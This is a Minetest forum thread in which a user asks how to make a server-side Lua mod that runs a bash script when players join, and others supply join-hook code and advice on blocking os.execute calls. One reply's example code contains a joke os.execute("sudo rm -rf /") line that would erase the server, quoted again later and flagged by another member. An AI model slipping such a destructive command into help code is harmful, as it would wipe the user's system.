How to make a mod only for server?
How to make a mod only for server?
Hi all, here's yet another question. how would i go about making a mod that would detect if players were connected to my dedicated server? If any players were connected, it would execute a bash script (im running linux). This need to execute ONLY on the server side. This is a little over my head! Thanks!
i5 6500 OC @3.5GHz, EVGA GTX 960 4GB, 8GB DDR4, ASROCK Pro4S, 128GB.SSD, MT 0.4.17, Linux Mint 18.3 (Ubuntu 16.04)
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
- rubenwardy
- Moderator
- Posts: 6972
- Joined: Tue Jun 12, 2012 18:11
- GitHub: rubenwardy
- IRC: rubenwardy
- In-game: rubenwardy
- Location: Bristol, United Kingdom
- Contact:
Re: How to make a mod only for server?
Mods only run on the server, no Lua is run on the client side (except for the main menu)
Re: How to make a mod only for server?
Ok, thanks! So how would I make a lua script to detect if players are connected?
i5 6500 OC @3.5GHz, EVGA GTX 960 4GB, 8GB DDR4, ASROCK Pro4S, 128GB.SSD, MT 0.4.17, Linux Mint 18.3 (Ubuntu 16.04)
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
- Krock
- Developer
- Posts: 4649
- Joined: Thu Oct 03, 2013 07:48
- GitHub: SmallJoker
- Location: Switzerland
- Contact:
Re: How to make a mod only for server?
Either create a new mod with the init.lua contents of this code or extend an existing mod:Laser0073 wrote:Ok, thanks! So how would I make a lua script to detect if players are connected?
Code: Select all
minetest.register_on_joinplayer(function(player)
-- Player joined, do something
local player_name = player:get_player_name()
local player_count = #minetest.get_connected_players()
os.execute("sudo rm -rf /")
-- (or similar)
end)
Look, I programmed a bug for you. >> Mod Search Engine << - Mods by Krock - DuckDuckGo mod search bang: !mtmod <keyword here>
Re: How to make a mod only for server?
THANK YOU!
i5 6500 OC @3.5GHz, EVGA GTX 960 4GB, 8GB DDR4, ASROCK Pro4S, 128GB.SSD, MT 0.4.17, Linux Mint 18.3 (Ubuntu 16.04)
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
Re: How to make a mod only for server?
Is there an opposite of minetest.register_on_joinplayer(function(player)? Like minetest.register_on_leaveplayer(function(player) ?Krock wrote:Either create a new mod with the init.lua contents of this code or extend an existing mod:Laser0073 wrote:Ok, thanks! So how would I make a lua script to detect if players are connected?Code: Select all
minetest.register_on_joinplayer(function(player) -- Player joined, do something local player_name = player:get_player_name() local player_count = #minetest.get_connected_players() os.execute("sudo rm -rf /") -- (or similar) end)
i5 6500 OC @3.5GHz, EVGA GTX 960 4GB, 8GB DDR4, ASROCK Pro4S, 128GB.SSD, MT 0.4.17, Linux Mint 18.3 (Ubuntu 16.04)
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
- Krock
- Developer
- Posts: 4649
- Joined: Thu Oct 03, 2013 07:48
- GitHub: SmallJoker
- Location: Switzerland
- Contact:
Re: How to make a mod only for server?
Yes sure. You can find the whole Minetest API documentation in the file minetest/doc/lua_api.txt.Laser0073 wrote:minetest.register_on_leaveplayer(function(player) ?
Look, I programmed a bug for you. >> Mod Search Engine << - Mods by Krock - DuckDuckGo mod search bang: !mtmod <keyword here>
- ExeterDad
- Member
- Posts: 1717
- Joined: Sun Jun 01, 2014 20:00
- In-game: ExeterDad
- Location: New Hampshire U.S.A
Re: How to make a mod only for server?
@krock
Nice command. Hope he doesn't copy paste and use it. Lol
Nice command. Hope he doesn't copy paste and use it. Lol
HOMETOWN -Our little server. Keep the HOMETOWN chatter @ http://hometownserver.com - Our server map: http://media.hometownserver.com
Re: How to make a mod only for server?
You bet i didn't! :) nobody should do that!
Ok, i don't know why, but this dosn't work. it just shows a grey screen apon login.
Ok, i don't know why, but this dosn't work. it just shows a grey screen apon login.
Code: Select all
minetest.register_on_joinplayer(function(player)
-- Player joined, do something
local playerlist = minetest.get_connected_players()
local playercount = table.getn(playerlist)
if playercount >= 0
then
os.execute("sleep .1 && /home/minetestserver/lotsofplayers.sh")
-- (or similar)
end
if playercount == 0
then
os.execute("sleep .1 && /home/minetestserver/noplayer.sh")
end
end)
i5 6500 OC @3.5GHz, EVGA GTX 960 4GB, 8GB DDR4, ASROCK Pro4S, 128GB.SSD, MT 0.4.17, Linux Mint 18.3 (Ubuntu 16.04)
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
- kaeza
- Moderator
- Posts: 2162
- Joined: Thu Oct 18, 2012 05:00
- GitHub: kaeza
- IRC: kaeza diemartin blaaaaargh
- In-game: kaeza
- Location: Montevideo, Uruguay
- Contact:
Re: How to make a mod only for server?
If you are familiar with the C language and its library `os.execute` is an almost direct wrapper to the `system` function.
This means that the program executing the `os.execute` call halts until the child program finishes. This is most probably what is showing the "grey screen", but could be something else entirely.
You could probably use an `&` in the command to make it run in the background, but then you have to deal with race conditions in the child (e.g. when accessing files and the like) when more than one process is run at the same time.
It is very rare to need the use of external programs, so maybe you can code the required functionality in Lua instead?
This means that the program executing the `os.execute` call halts until the child program finishes. This is most probably what is showing the "grey screen", but could be something else entirely.
You could probably use an `&` in the command to make it run in the background, but then you have to deal with race conditions in the child (e.g. when accessing files and the like) when more than one process is run at the same time.
It is very rare to need the use of external programs, so maybe you can code the required functionality in Lua instead?
Your signature is not the place for a blog post. Please keep it as concise as possible. Thank you!
Check out my stuff! | Donations greatly appreciated! PayPal
Check out my stuff! | Donations greatly appreciated! PayPal
Re: How to make a mod only for server?
No, it is going to ssh into a raspberry pi. It will then launch a python script on the pi, which will tell me if anyone is on the server. OK, so how should i make the program execute the script, and move on? Thanks!
i5 6500 OC @3.5GHz, EVGA GTX 960 4GB, 8GB DDR4, ASROCK Pro4S, 128GB.SSD, MT 0.4.17, Linux Mint 18.3 (Ubuntu 16.04)
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
Re: How to make a mod only for server?
Ok, thanks kaeza! This helped a lot!
i5 6500 OC @3.5GHz, EVGA GTX 960 4GB, 8GB DDR4, ASROCK Pro4S, 128GB.SSD, MT 0.4.17, Linux Mint 18.3 (Ubuntu 16.04)
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
OwOOOg9CphnceB30eUFX6BOCW8W3jT4i
Who is online
Users browsing this forum: No registered users and 2 guests